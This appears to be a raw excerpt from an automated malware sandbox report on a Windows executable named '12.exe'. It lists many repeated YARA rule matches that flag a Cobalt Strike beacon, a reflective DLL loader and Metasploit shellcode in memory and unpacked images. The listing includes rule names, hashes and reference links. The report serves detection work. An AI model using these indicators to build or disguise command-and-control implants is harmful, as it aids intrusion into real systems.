Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB4763 CreateProcessWithLogonW,GetLastError,_memset,GetLastError,

0_2_00DB4763

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D940FD	0_2_00D940FD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D8A1DB	0_2_00D8A1DB
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD8190	0_2_00DD8190
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD7320	0_2_00DD7320
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D944D1	0_2_00D944D1
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D97590	0_2_00D97590
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D96720	0_2_00D96720
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D948DD	0_2_00D948DD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD4828	0_2_00DD4828
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D8282F	0_2_00D8282F
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DC59E9	0_2_00DC59E9
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD7BC0	0_2_00DD7BC0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D94CFD	0_2_00D94CFD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D93C28	0_2_00D93C28
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCADDB	0_2_00DCADDB
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D84DE9	0_2_00D84DE9
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D96D45	0_2_00D96D45
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D96FC0	0_2_00D96FC0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD50D1	0_2_00DD50D1
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD58FD	0_2_00DD58FD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD4828	0_2_00DD4828
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DC59E9	0_2_00DC59E9
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD8190	0_2_00DD8190
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD7945	0_2_00DD7945
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD7BC0	0_2_00DD7BC0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD7320	0_2_00DD7320
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD54DD	0_2_00DD54DD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD4CFD	0_2_00DD4CFD
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCADDB	0_2_00DCADDB

Source: C:\Users\user\Desktop\12.exe	Code function: String function: 00DCB3A4 appears 76 times
Source: C:\Users\user\Desktop\12.exe	Code function: String function: 00DCA7D0 appears 46 times
Source: C:\Users\user\Desktop\12.exe	Code function: String function: 00D8A7A4 appears 35 times

Source: 12.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
